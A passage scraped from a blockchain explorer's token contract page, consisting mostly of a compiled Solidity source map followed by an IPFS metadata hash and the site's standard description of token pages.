86::-;5625:7;5665:4;5658:5;5654:16;5643:27;;5590:86;;;:::o;5682:112::-;5765:22;5781:5;5765:22;:::i;:::-;5760:3;5753:35;5682:112;;:::o;5800:214::-;5889:4;5927:2;5916:9;5912:18;5904:26;;5940:67;6004:1;5993:9;5989:17;5980:6;5940:67;:::i;:::-;5800:214;;;;:::o;6020:474::-;6088:6;6096;6145:2;6133:9;6124:7;6120:23;6116:32;6113:119;;;6151:79;;:::i;:::-;6113:119;6271:1;6296:53;6341:7;6332:6;6321:9;6317:22;6296:53;:::i;:::-;6286:63;;6242:117;6398:2;6424:53;6469:7;6460:6;6449:9;6445:22;6424:53;:::i;:::-;6414:63;;6369:118;6020:474;;;;;:::o;6500:329::-;6559:6;6608:2;6596:9;6587:7;6583:23;6579:32;6576:119;;;6614:79;;:::i;:::-;6576:119;6734:1;6759:53;6804:7;6795:6;6784:9;6780:22;6759:53;:::i;:::-;6749:63;;6705:117;6500:329;;;;:::o;6835:60::-;6863:3;6884:5;6877:12;;6835:60;;;:::o;6901:142::-;6951:9;6984:53;7002:34;7011:24;7029:5;7011:24;:::i;:::-;7002:34;:::i;:::-;6984:53;:::i;:::-;6971:66;;6901:142;;;:::o;7049:126::-;7099:9;7132:37;7163:5;7132:37;:::i;:::-;7119:50;;7049:126;;;:::o;7181:144::-;7249:9;7282:37;7313:5;7282:37;:::i;:::-;7269:50;;7181:144;;;:::o;7331:167::-;7436:55;7485:5;7436:55;:::i;:::-;7431:3;7424:68;7331:167;;:::o;7504:258::-;7615:4;7653:2;7642:9;7638:18;7630:26;;7666:89;7752:1;7741:9;7737:17;7728:6;7666:89;:::i;:::-;7504:258;;;;:::o;7768:156::-;7908:8;7904:1;7896:6;7892:14;7885:32;7768:156;:::o;7930:365::-;8072:3;8093:66;8157:1;8152:3;8093:66;:::i;:::-;8086:73;;8168:93;8257:3;8168:93;:::i;:::-;8286:2;8281:3;8277:12;8270:19;;7930:365;;;:::o;8301:419::-;8467:4;8505:2;8494:9;8490:18;8482:26;;8554:9;8548:4;8544:20;8540:1;8529:9;8525:17;8518:47;8582:131;8708:4;8582:131;:::i;:::-;8574:139;;8301:419;;;:::o;8726:180::-;8774:77;8771:1;8764:88;8871:4;8868:1;8861:15;8895:4;8892:1;8885:15;8912:191;8952:3;8971:20;8989:1;8971:20;:::i;:::-;8966:25;;9005:20;9023:1;9005:20;:::i;:::-;9000:25;;9048:1;9045;9041:9;9034:16;;9069:3;9066:1;9063:10;9060:36;;;9076:18;;:::i;:::-;9060:36;8912:191;;;;:::o;9109:173::-;9249:25;9245:1;9237:6;9233:14;9226:49;9109:173;:::o;9288:366::-;9430:3;9451:67;9515:2;9510:3;9451:67;:::i;:::-;9444:74;;9527:93;9616:3;9527:93;:::i;:::-;9645:2;9640:3;9636:12;9629:19;;9288:366;;;:::o;9660:419::-;9826:4;9864:2;9853:9;9849:18;9841:26;;9913:9;9907:4;9903:20;9899:1;9888:9;9884:17;9877:47;9941:131;10067:4;9941:131;:::i;:::-;9933:139;;9660:419;;;:::o;10085:410::-;10125:7;10148:20;10166:1;10148:20;:::i;:::-;10143:25;;10182:20;10200:1;10182:20;:::i;:::-;10177:25;;10237:1;10234;10230:9;10259:30;10277:11;10259:30;:::i;:::-;10248:41;;10438:1;10429:7;10425:15;10422:1;10419:22;10399:1;10392:9;10372:83;10349:139;;10468:18;;:::i;:::-;10349:139;10133:362;10085:410;;;;:::o;10501:180::-;10549:77;10546:1;10539:88;10646:4;10643:1;10636:15;10670:4;10667:1;10660:15;10687:185;10727:1;10744:20;10762:1;10744:20;:::i;:::-;10739:25;;10778:20;10796:1;10778:20;:::i;:::-;10773:25;;10817:1;10807:35;;10822:18;;:::i;:::-;10807:35;10864:1;10861;10857:9;10852:14;;10687:185;;;;:::o;10878:194::-;10918:4;10938:20;10956:1;10938:20;:::i;:::-;10933:25;;10972:20;10990:1;10972:20;:::i;:::-;10967:25;;11016:1;11013;11009:9;11001:17;;11040:1;11034:4;11031:11;11028:37;;;11045:18;;:::i;:::-;11028:37;10878:194;;;;:::o;11078:224::-;11218:34;11214:1;11206:6;11202:14;11195:58;11287:7;11282:2;11274:6;11270:15;11263:32;11078:224;:::o;11308:366::-;11450:3;11471:67;11535:2;11530:3;11471:67;:::i;:::-;11464:74;;11547:93;11636:3;11547:93;:::i;:::-;11665:2;11660:3;11656:12;11649:19;;11308:366;;;:::o;11680:419::-;11846:4;11884:2;11873:9;11869:18;11861:26;;11933:9;11927:4;11923:20;11919:1;11908:9;11904:17;11897:47;11961:131;12087:4;11961:131;:::i;:::-;11953:139;;11680:419;;;:::o;12105:172::-;12245:24;12241:1;12233:6;12229:14;12222:48;12105:172;:::o;12283:366::-;12425:3;12446:67;12510:2;12505:3;12446:67;:::i;:::-;12439:74;;12522:93;12611:3;12522:93;:::i;:::-;12640:2;12635:3;12631:12;12624:19;;12283:366;;;:::o;12655:419::-;12821:4;12859:2;12848:9;12844:18;12836:26;;12908:9;12902:4;12898:20;12894:1;12883:9;12879:17;12872:47;12936:131;13062:4;12936:131;:::i;:::-;12928:139;;12655:419;;;:::o;13080:173::-;13220:25;13216:1;13208:6;13204:14;13197:49;13080:173;:::o;13259:366::-;13401:3;13422:67;13486:2;13481:3;13422:67;:::i;:::-;13415:74;;13498:93;13587:3;13498:93;:::i;:::-;13616:2;13611:3;13607:12;13600:19;;13259:366;;;:::o;13631:419::-;13797:4;13835:2;13824:9;13820:18;13812:26;;13884:9;13878:4;13874:20;13870:1;13859:9;13855:17;13848:47;13912:131;14038:4;13912:131;:::i;:::-;13904:139;;13631:419;;;:::o;14056:180::-;14104:77;14101:1;14094:88;14201:4;14198:1;14191:15;14225:4;14222:1;14215:15;14242:180;14290:77;14287:1;14280:88;14387:4;14384:1;14377:15;14411:4;14408:1;14401:15;14428:143;14485:5;14516:6;14510:13;14501:22;;14532:33;14559:5;14532:33;:::i;:::-;14428:143;;;;:::o;14577:351::-;14647:6;14696:2;14684:9;14675:7;14671:23;14667:32;14664:119;;;14702:79;;:::i;:::-;14664:119;14822:1;14847:64;14903:7;14894:6;14883:9;14879:22;14847:64;:::i;:::-;14837:74;;14793:128;14577:351;;;;:::o;14934:85::-;14979:7;15008:5;14997:16;;14934:85;;;:::o;15025:158::-;15083:9;15116:61;15134:42;15143:32;15169:5;15143:32;:::i;:::-;15134:42;:::i;:::-;15116:61;:::i;:::-;15103:74;;15025:158;;;:::o;15189:147::-;15284:45;15323:5;15284:45;:::i;:::-;15279:3;15272:58;15189:147;;:::o;15342:114::-;15409:6;15443:5;15437:12;15427:22;;15342:114;;;:::o;15462:184::-;15561:11;15595:6;15590:3;15583:19;15635:4;15630:3;15626:14;15611:29;;15462:184;;;;:::o;15652:132::-;15719:4;15742:3;15734:11;;15772:4;15767:3;15763:14;15755:22;;15652:132;;;:::o;15790:108::-;15867:24;15885:5;15867:24;:::i;:::-;15862:3;15855:37;15790:108;;:::o;15904:179::-;15973:10;15994:46;16036:3;16028:6;15994:46;:::i;:::-;16072:4;16067:3;16063:14;16049:28;;15904:179;;;;:::o;16089:113::-;16159:4;16191;16186:3;16182:14;16174:22;;16089:113;;;:::o;16238:732::-;16357:3;16386:54;16434:5;16386:54;:::i;:::-;16456:86;16535:6;16530:3;16456:86;:::i;:::-;16449:93;;16566:56;16616:5;16566:56;:::i;:::-;16645:7;16676:1;16661:284;16686:6;16683:1;16680:13;16661:284;;;16762:6;16756:13;16789:63;16848:3;16833:13;16789:63;:::i;:::-;16782:70;;16875:60;16928:6;16875:60;:::i;:::-;16865:70;;16721:224;16708:1;16705;16701:9;16696:14;;16661:284;;;16665:14;16961:3;16954:10;;16362:608;;;16238:732;;;;:::o;16976:831::-;17239:4;17277:3;17266:9;17262:19;17254:27;;17291:71;17359:1;17348:9;17344:17;17335:6;17291:71;:::i;:::-;17372:80;17448:2;17437:9;17433:18;17424:6;17372:80;:::i;:::-;17499:9;17493:4;17489:20;17484:2;17473:9;17469:18;17462:48;17527:108;17630:4;17621:6;17527:108;:::i;:::-;17519:116;;17645:72;17713:2;17702:9;17698:18;17689:6;17645:72;:::i;:::-;17727:73;17795:3;17784:9;17780:19;17771:6;17727:73;:::i;:::-;16976:831;;;;;;;;:::o;17813:147::-;17914:11;17951:3;17936:18;;17813:147;;;;:::o;17966:114::-;;:::o;18086:398::-;18245:3;18266:83;18347:1;18342:3;18266:83;:::i;:::-;18259:90;;18358:93;18447:3;18358:93;:::i;:::-;18476:1;18471:3;18467:11;18460:18;;18086:398;;;:::o;18490:379::-;18674:3;18696:147;18839:3;18696:147;:::i;:::-;18689:154;;18860:3;18853:10;;18490:379;;;:::o;18875:180::-;19015:32;19011:1;19003:6;18999:14;18992:56;18875:180;:::o;19061:366::-;19203:3;19224:67;19288:2;19283:3;19224:67;:::i;:::-;19217:74;;19300:93;19389:3;19300:93;:::i;:::-;19418:2;19413:3;19409:12;19402:19;;19061:366;;;:::o;19433:419::-;19599:4;19637:2;19626:9;19622:18;19614:26;;19686:9;19680:4;19676:20;19672:1;19661:9;19657:17;19650:47;19714:131;19840:4;19714:131;:::i;:::-;19706:139;;19433:419;;;:::o;19858:807::-;20107:4;20145:3;20134:9;20130:19;20122:27;;20159:71;20227:1;20216:9;20212:17;20203:6;20159:71;:::i;:::-;20240:72;20308:2;20297:9;20293:18;20284:6;20240:72;:::i;:::-;20322:80;20398:2;20387:9;20383:18;20374:6;20322:80;:::i;:::-;20412;20488:2;20477:9;20473:18;20464:6;20412:80;:::i;:::-;20502:73;20570:3;20559:9;20555:19;20546:6;20502:73;:::i;:::-;20585;20653:3;20642:9;20638:19;20629:6;20585:73;:::i;:::-;19858:807;;;;;;;;;:::o;20671:143::-;20728:5;20759:6;20753:13;20744:22;;20775:33;20802:5;20775:33;:::i;:::-;20671:143;;;;:::o;20820:663::-;20908:6;20916;20924;20973:2;20961:9;20952:7;20948:23;20944:32;20941:119;;;20979:79;;:::i;:::-;20941:119;21099:1;21124:64;21180:7;21171:6;21160:9;21156:22;21124:64;:::i;:::-;21114:74;;21070:128;21237:2;21263:64;21319:7;21310:6;21299:9;21295:22;21263:64;:::i;:::-;21253:74;;21208:129;21376:2;21402:64;21458:7;21449:6;21438:9;21434:22;21402:64;:::i;:::-;21392:74;;21347:129;20820:663;;;;;:::o;21489:332::-;21610:4;21648:2;21637:9;21633:18;21625:26;;21661:71;21729:1;21718:9;21714:17;21705:6;21661:71;:::i;:::-;21742:72;21810:2;21799:9;21795:18;21786:6;21742:72;:::i;:::-;21489:332;;;;;:::o;21827:177::-;21967:29;21963:1;21955:6;21951:14;21944:53;21827:177;:::o;22010:366::-;22152:3;22173:67;22237:2;22232:3;22173:67;:::i;:::-;22166:74;;22249:93;22338:3;22249:93;:::i;:::-;22367:2;22362:3;22358:12;22351:19;;22010:366;;;:::o;22382:419::-;22548:4;22586:2;22575:9;22571:18;22563:26;;22635:9;22629:4;22625:20;22621:1;22610:9;22606:17;22599:47;22663:131;22789:4;22663:131;:::i;:::-;22655:139;;22382:419;;;:::o;22807:220::-;22947:34;22943:1;22935:6;22931:14;22924:58;23016:3;23011:2;23003:6;22999:15;22992:28;22807:220;:::o;23033:366::-;23175:3;23196:67;23260:2;23255:3;23196:67;:::i;:::-;23189:74;;23272:93;23361:3;23272:93;:::i;:::-;23390:2;23385:3;23381:12;23374:19;;23033:366;;;:::o;23405:419::-;23571:4;23609:2;23598:9;23594:18;23586:26;;23658:9;23652:4;23648:20;23644:1;23633:9;23629:17;23622:47;23686:131;23812:4;23686:131;:::i;:::-;23678:139;;23405:419;;;:::o

Swarm Source

ipfs://46dc99a8b2c01a4d9ae20f765ab21eb3ec689caba36ef6cd26103b604ea83055
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.